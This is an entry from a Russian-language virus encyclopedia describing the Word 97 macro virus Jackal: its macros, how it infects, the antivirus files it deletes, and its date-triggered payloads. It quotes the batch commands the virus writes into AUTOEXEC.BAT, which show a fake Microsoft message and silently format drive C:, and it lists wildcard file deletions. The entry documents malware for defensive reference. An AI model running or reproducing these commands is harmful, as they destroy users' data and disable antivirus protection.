Энциклопедия компьютерных вирусов
Macro.Word97.Jackal
Содержит один модуль "Jackal", в котором содержится четырнадцать макросов: AutoOpen, FileSaveAs, KillAV, Format, ToolsMacro, ViewVBCode, FileTemplates, Organizer, EditFind, HelpAbout, ToolsCustomize, ToolsOptions, Jackal, Ultras. Заражение происходит при открытии и сохранении файла с другим именем. Удаляет файлы, принадлежащие известным антивирусам:
C:\Program Files\AntiViral Toolkit Pro\Avp32.exe C:\Program Files\AntiViral Toolkit Pro\*.avc C:\Program Files\Command Software\F-PROT95\*.dll C:\Program Files\Command Software\F-PROT95\*.exe C:\Program Files\McAfee\VirusScan95\Scan.dat C:\Program Files\McAfee\VirusScan\Scan.dat C:\Program Files\Norton AntiVirus\Viruscan.dat C:\Program Files\Symantec\Symevnt.386 C:\Program Files\FindVirus\Findviru.drv C:\Program Files\Cheyenne\AntiVirus\*.dll C:\Program Files\Cheyenne\Common\Cshell.dll C:\PC-Cillin 95\Lpt$vpn.* C:\PC-Cillin 95\Scan32.dll C:\PC-Cillin 97\Lpt$vpn.* C:\PC-Cillin 97\Scan32.dll C:\eSafe\Protect\*.dll C:\f-macro\f-macro.exe C:\TBAVW95\Tbscan.sig C:\Tbavw95\Tb*.* C:\VS95\*.dll
По 1-м числам устанавливает на документы пароль "JACKAL". По 27 числам устанавливает на документы пароль "ULTRAS". По 5, 9, 17, 25 числам и в мае выдает Balloon:
Microsoft Office 97 Error, is necessary will update files
После чего в файл C:\AUTOEXEC.BAT дописывает команды форматирования винчестера:
@ECHO OFF CLS ECHO Microsoft Corp. 1983-1997 All rights reserved ECHO Goes preparation to renovation of your system files ECHO Please wait this can occupy several minutes FORMAT C: /U /C /S /AUTOTEST > NUL ECHO. ECHO. ECHO. ECHO Error at renovations of files
По 15-м и 30-м числам стирает файлы:
C:\*.* C:\Windows\*.* C:\Windows\System\*.*
